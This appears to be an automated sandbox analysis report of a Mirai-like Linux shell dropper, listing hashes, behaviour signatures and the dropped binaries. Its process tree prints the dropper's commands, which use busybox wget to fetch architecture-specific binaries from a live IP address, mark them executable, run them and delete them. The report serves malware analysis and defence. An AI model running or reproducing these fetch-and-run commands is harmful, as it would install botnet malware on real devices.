Analysis

  • max time kernel
    122s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23-11-2024 02:46

General

  • Target

    a09cecfb202533bf5bcb0566dce4c9e9f8273d06a153613ba8f291dbc05f496b.sh

  • Size

    1KB

  • MD5

    476467eba539be5db3022f1ebde08841

  • SHA1

    6fc462604c405f96b0823e2baa077f150b1bb33f

  • SHA256

    a09cecfb202533bf5bcb0566dce4c9e9f8273d06a153613ba8f291dbc05f496b

  • SHA512

    c6fe968567d3e60e8ecef1152c1a389c40245ce0b9a73880a2ff895443bc272000bf76b78c252c646a4a7f737a8564476740fa82792ca9847aa1071f28e47234

Malware Config

Signatures

  • Contacts a large (71756) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 60 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/a09cecfb202533bf5bcb0566dce4c9e9f8273d06a153613ba8f291dbc05f496b.sh
    /tmp/a09cecfb202533bf5bcb0566dce4c9e9f8273d06a153613ba8f291dbc05f496b.sh
    1⤵
      PID:708
      • /bin/busybox
        /bin/busybox wget http://45.125.66.203/jklarm -O jklarm
        2⤵
        • Writes file to tmp directory
        PID:710
      • /bin/busybox
        /bin/busybox chmod +x jklarm
        2⤵
        • File and Directory Permissions Modification
        PID:722
      • /tmp/jklarm
        ./jklarm NewTel
        2⤵
        • Executes dropped EXE
        PID:724
      • /bin/busybox
        /bin/busybox rm -rf jklarm
        2⤵
          PID:727
        • /bin/busybox
          /bin/busybox wget http://45.125.66.203/jklarm5 -O jklarm5
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox chmod +x jklarm5
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/jklarm5
          ./jklarm5 NewTel
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/busybox
          /bin/busybox rm -rf jklarm5
          2⤵
            PID:743
          • /bin/busybox
            /bin/busybox wget http://45.125.66.203/jklarm6 -O jklarm6
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox chmod +x jklarm6
            2⤵
            • File and Directory Permissions Modification
            PID:747
          • /tmp/jklarm6
            ./jklarm6 NewTel
            2⤵
            • Executes dropped EXE
            PID:748
          • /bin/busybox
            /bin/busybox rm -rf jklarm6
            2⤵
              PID:751
            • /bin/busybox
              /bin/busybox wget http://45.125.66.203/jklarm7 -O jklarm7
              2⤵
              • Writes file to tmp directory
              PID:752
            • /bin/busybox
              /bin/busybox chmod +x jklarm7
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/jklarm7
              ./jklarm7 NewTel
              2⤵
              • Executes dropped EXE
              PID:754
            • /bin/busybox
              /bin/busybox rm -rf jklarm7
              2⤵
                PID:756
              • /bin/busybox
                /bin/busybox wget http://45.125.66.203/jklm68k -O jklm68k
                2⤵
                • Writes file to tmp directory
                PID:757
              • /bin/busybox
                /bin/busybox chmod +x jklm68k
                2⤵
                • File and Directory Permissions Modification
                PID:758
              • /tmp/jklm68k
                ./jklm68k NewTel
                2⤵
                • Executes dropped EXE
                PID:759
              • /bin/busybox
                /bin/busybox rm -rf jklm68k
                2⤵
                  PID:761
                • /bin/busybox
                  /bin/busybox wget http://45.125.66.203/jklmips -O jklmips
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:762
                • /bin/busybox
                  /bin/busybox chmod +x jklmips
                  2⤵
                  • File and Directory Permissions Modification
                  PID:763
                • /tmp/jklmips
                  ./jklmips NewTel
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:764
                • /bin/busybox
                  /bin/busybox rm -rf jklmips
                  2⤵
                  • System Network Configuration Discovery
                  PID:766
                • /bin/busybox
                  /bin/busybox wget http://45.125.66.203/jklmpsl -O jklmpsl
                  2⤵
                  • Writes file to tmp directory
                  PID:767
                • /bin/busybox
                  /bin/busybox chmod +x jklmpsl
                  2⤵
                  • File and Directory Permissions Modification
                  PID:768
                • /tmp/jklmpsl
                  ./jklmpsl NewTel
                  2⤵
                  • Executes dropped EXE
                  • Modifies Watchdog functionality
                  • Renames itself
                  • Enumerates active TCP sockets
                  • Reads process memory
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:769
                • /bin/busybox
                  /bin/busybox rm -rf jklmpsl
                  2⤵
                    PID:771
                  • /bin/busybox
                    /bin/busybox wget http://45.125.66.203/jklppc -O jklppc
                    2⤵
                    • Writes file to tmp directory
                    PID:773
                  • /bin/busybox
                    /bin/busybox chmod +x jklppc
                    2⤵
                    • File and Directory Permissions Modification
                    PID:774
                  • /tmp/jklppc
                    ./jklppc NewTel
                    2⤵
                    • Executes dropped EXE
                    PID:775
                  • /bin/busybox
                    /bin/busybox rm -rf jklppc
                    2⤵
                      PID:777
                    • /bin/busybox
                      /bin/busybox wget http://45.125.66.203/jklsh4 -O jklsh4
                      2⤵
                      • Writes file to tmp directory
                      PID:779
                    • /bin/busybox
                      /bin/busybox chmod +x jklsh4
                      2⤵
                      • File and Directory Permissions Modification
                      PID:787
                    • /tmp/jklsh4
                      ./jklsh4 NewTel
                      2⤵
                      • Executes dropped EXE
                      PID:788
                    • /bin/busybox
                      /bin/busybox rm -rf jklsh4
                      2⤵
                        PID:791
                      • /bin/busybox
                        /bin/busybox wget http://45.125.66.203/jklspc -O jklspc
                        2⤵
                          PID:792
                        • /bin/busybox
                          /bin/busybox chmod +x jklspc
                          2⤵
                          • File and Directory Permissions Modification
                          PID:794
                        • /tmp/jklspc
                          ./jklspc NewTel
                          2⤵
                            PID:795
                          • /bin/busybox
                            /bin/busybox rm -rf jklspc
                            2⤵
                              PID:798
                            • /bin/busybox
                              /bin/busybox wget http://45.125.66.203/jklx86 -O jklx86
                              2⤵
                                PID:799
                              • /bin/busybox
                                /bin/busybox chmod +x jklx86
                                2⤵
                                • File and Directory Permissions Modification
                                PID:801
                              • /tmp/jklx86
                                ./jklx86 NewTel
                                2⤵
                                  PID:803
                                • /bin/busybox
                                  /bin/busybox rm -rf jklx86
                                  2⤵
                                    PID:804
                                  • /bin/busybox
                                    /bin/busybox wget http://45.125.66.203/jklarc -O jklarc
                                    2⤵
                                      PID:806
                                    • /bin/busybox
                                      /bin/busybox chmod +x jklarc
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:808
                                    • /tmp/jklarc
                                      ./jklarc NewTel
                                      2⤵
                                        PID:809
                                      • /bin/busybox
                                        /bin/busybox rm -rf jklarc
                                        2⤵
                                          PID:811
                                        • /bin/busybox
                                          /bin/busybox rm -rf wget.sh
                                          2⤵
                                            PID:812

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/jklarm

                                          Filesize

                                          61KB

                                          MD5

                                          ccc0e90e52316a5e000734aa3ab7ccdb

                                          SHA1

                                          38974e871dea717ef4d69f3f7644284a1b2a7110

                                          SHA256

                                          e3ad3137e9ffc774a2916f5e329689397fc156318c21d5429089e24c3df6536a

                                          SHA512

                                          247073ec1f9b19ff2349cc4f67b05e01fc7ce472aef06851ca272c756e439205631c7fe26112cc01db9149e83af550ea5666876bd9b06ca44255ecb4d35e5c1c

                                        • /tmp/jklarm5

                                          Filesize

                                          61KB

                                          MD5

                                          5d2923d3bb5d7daf3c286d3de1c69842

                                          SHA1

                                          c761cc78bd7c286b8a95701c8a6c215b0ed7a41f

                                          SHA256

                                          4b36c1e443a9b1f76c30d9e4c240cf11ba7728ef0ffb83965fe31720e7c5633e

                                          SHA512

                                          593fb52539469a132036265869082eda84b86f4c63937f74b37efa3023a4e8b5b47cdbdcabc13c1257714762c6c25a7305f743dee5ab8c8ef55d64a64f28cda2

                                        • /tmp/jklarm6

                                          Filesize

                                          70KB

                                          MD5

                                          bd890549b6469679c05204c8893564d9

                                          SHA1

                                          8e4655e1e4514fc49e19d914ce0e6d482dfe2d71

                                          SHA256

                                          e5369f948a5f127f736149c3ba45bb65d0cc463d95bdda10ae4ba428484d43a2

                                          SHA512

                                          8cad0724fd27828f29217ebf871975a429e5192427e24390de26d234352ca8d3b429969e27220bee03cd0376613e6e69e01471c5b88e1a074857bcec522ae5c4

                                        • /tmp/jklarm7

                                          Filesize

                                          83KB

                                          MD5

                                          b80f98bdc6f71e155d0e091e5ab5002d

                                          SHA1

                                          8b25aa2e46fafdc6e4e0e3c1bff2748f5e563f8f

                                          SHA256

                                          9aa3f02c4310d7d9b86b90d875d3845e6b814eea8d524a6f728394caea489f3f

                                          SHA512

                                          0a45cef1502c2280d74b376a5400a399f5fc504fa2a9ba65fb129b9c4929c165b27f6c9d038d97e91e72d1c7d31a76fd4e46b178a41dae000a6cf12f9971339c

                                        • /tmp/jklm68k

                                          Filesize

                                          61KB

                                          MD5

                                          415fcb79b0155ca5bb0ad3679a042ee8

                                          SHA1

                                          d19937ba72dd1cbd7e78f2fe3cc802519d37e50f

                                          SHA256

                                          f3911ea019b772760dd0aee45454a9054441478361bed4cfbbc3831eb6f5edf9

                                          SHA512

                                          b3bfa62fbadd31206b3dbeac15dda3abf9eb113bbb74a5eb387e68d761f3ba350d3d5bbfee05a7c8d24092ce16ffa31a01799a7efc1bb771c8607c5d6abf566d

                                        • /tmp/jklmips

                                          Filesize

                                          78KB

                                          MD5

                                          0d28778c12ca8187d7c25a39cbf139b5

                                          SHA1

                                          d6acf3d900bfa3cd334bbe4fb077aef271ef9b7b

                                          SHA256

                                          88e10bb097ce1060c1f2798a3cd7d94eccde25e260d7ec8b08731f47d6c1b692

                                          SHA512

                                          9ecdfd171809eee4b80289f341c1bf7a432b929e9eb5dd2659ff828ed0921476cfd79d6c0f475b04bf06d4fc55adb8bc6413a349b203ec5065e0182cac2134b9

                                        • /tmp/jklmpsl

                                          Filesize

                                          82KB

                                          MD5

                                          cac710f2fa3123733fc72154a1017660

                                          SHA1

                                          368534cb46325c7338ed84a70ce7938064385234

                                          SHA256

                                          1d7789e5a8631a90c8de5d053928129ff900baa1052e4e1f3aaac13751ffef0f

                                          SHA512

                                          7be9169cc87d3acc9a05d7ee0e93f9019f74c37e325d0c1f66925eb7a0a12fa4a36c22b4bb69533e68b5197f6431ae40c819778d423047bd651ddadbcd7f85f2

                                        • /tmp/jklppc

                                          Filesize

                                          60KB

                                          MD5

                                          f9d899a6406e57e2d71b4efdcb905d14

                                          SHA1

                                          ba89bac01e988337212f82a3748a2e78e7b6b433

                                          SHA256

                                          fc1ccb3b24fe1ab63f367863c6f5c29096722a6ef4249ac7d6098855366edf0b

                                          SHA512

                                          2a0b6aa14d7a77df42ed0e9ab8e3f9f8a4809a11214fe55a456fa8daaf7f5d5705e6cd8f027c6acb64c4e5134f1352464ae17cfe6453507f893cda77429b04dc

                                        • /tmp/jklsh4

                                          Filesize

                                          54KB

                                          MD5

                                          55ec4127f02a2da58051392d8444fe43

                                          SHA1

                                          ac171a19abf98ef9a508a71daa8c94919c508b6c

                                          SHA256

                                          f7969c00f4f2a706dc5e5f0061c3b9dbfc14532fcfe475dee2371e9c2755fa43

                                          SHA512

                                          07f98e2d027384e5e711674404920e2dcb3f405544736300c79b20ef569c748d39cf0d6cdd52a3934129586670edb8ad67f9c14a67e5e7784fc84efbda4ed65d